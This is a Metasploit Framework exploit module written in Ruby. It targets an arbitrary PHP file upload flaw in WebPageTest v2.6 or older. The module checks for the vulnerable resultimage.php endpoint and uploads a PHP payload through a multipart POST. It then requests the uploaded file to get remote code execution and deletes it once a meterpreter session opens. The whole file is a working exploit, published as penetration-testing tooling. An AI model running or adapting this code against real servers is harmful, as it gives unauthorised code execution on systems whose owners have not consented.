### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##
require 'msf/core'classMetasploit3< Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
definitialize(info={})super(update_info(info,'Name'=>"WebPageTest Arbitrary PHP File Upload",'Description'=>%q{
This module exploits a vulnerability found in WebPageTest's Upload Feature. By
default, the resultimage.php file does not verify the user-supplied item before
saving it to disk,and then places this item in the web directory accessable by
remote users.This flaw can be abused to gain remote code execution.},'License'=> MSF_LICENSE,'Author'=>['dun',#Discovery, PoC'sinn3r'#Metasploit],'References'=>[['OSVDB','83822'],['EDB','19790']],'Payload'=>{'BadChars'=>"\x00"},'DefaultOptions'=>{'ExitFunction'=>"none"},'Platform'=>['php'],'Arch'=> ARCH_PHP,'Targets'=>[['WebPageTest v2.6 or older',{}]],'Privileged'=> false,'DisclosureDate'=>"Jul 13 2012",'DefaultTarget'=>0))
register_options([
OptString.new('TARGETURI',[true,'The base path to WebPageTest','/www/'])], self.class)
end
def check
peer ="#{rhost}:#{rport}"
target_uri.path <<'/'if target_uri.path[-1,1]!='/'
base = File.dirname("#{target_uri.path}.")
res1 = send_request_raw({'uri'=>"#{base}/index.php"})
res2 = send_request_raw({'uri'=>"#{base}/work/resultimage.php"})if res1 and res1.body =~/WebPagetest \- Website Performance and Optimization Test/and
res2 and res2.code ==200return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
defon_new_session(cli)if cli.type!="meterpreter"
print_error("No automatic cleanup for you. Please manually remove: #{@target_path}")return
end
cli.core.use("stdapi")ifnot cli.ext.aliases.include?("stdapi")
cli.fs.file.rm(@target_path)
print_status("#{@target_path} removed")
end
def exploit
peer ="#{rhost}:#{rport}"
target_uri.path <<'/'if target_uri.path[-1,1]!='/'
base = File.dirname("#{target_uri.path}.")
p = payload.encoded
fname ="blah.php"
data = Rex::MIME::Message.new
data.add_part("<?php #{p} ?>",#Data is our payload'multipart/form-data',#Content Type
nil,#Transfer Encoding"form-data; name=\"file\"; filename=\"#{fname}\""#Content Disposition
)
print_status("#{peer} - Uploading payload (#{p.length.to_s} bytes)...")
res = send_request_cgi({'method'=>'POST','uri'=>"#{base}/work/resultimage.php",'ctype'=>"multipart/form-data; boundary=#{data.bound}",'data'=> data.to_s
})ifnot res
print_error("#{peer} - No response from host")return
end
@target_path="#{base}/results/#{fname}"
print_status("#{peer} - Requesting #{@target_path}")
res = send_request_cgi({'uri'=>@target_path})
handler
if res and res.code ==404
print_error("#{peer} - Payload failed to upload")
end
end
end